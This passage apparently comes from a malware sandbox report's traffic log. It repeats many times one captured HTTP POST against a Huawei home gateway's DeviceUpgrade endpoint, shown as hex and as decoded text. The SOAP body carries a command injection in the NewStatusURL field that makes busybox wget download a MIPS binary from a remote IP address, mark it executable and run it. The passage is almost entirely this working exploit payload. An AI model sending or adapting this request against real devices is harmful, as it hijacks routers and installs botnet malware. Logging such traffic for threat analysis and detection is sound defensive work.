79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 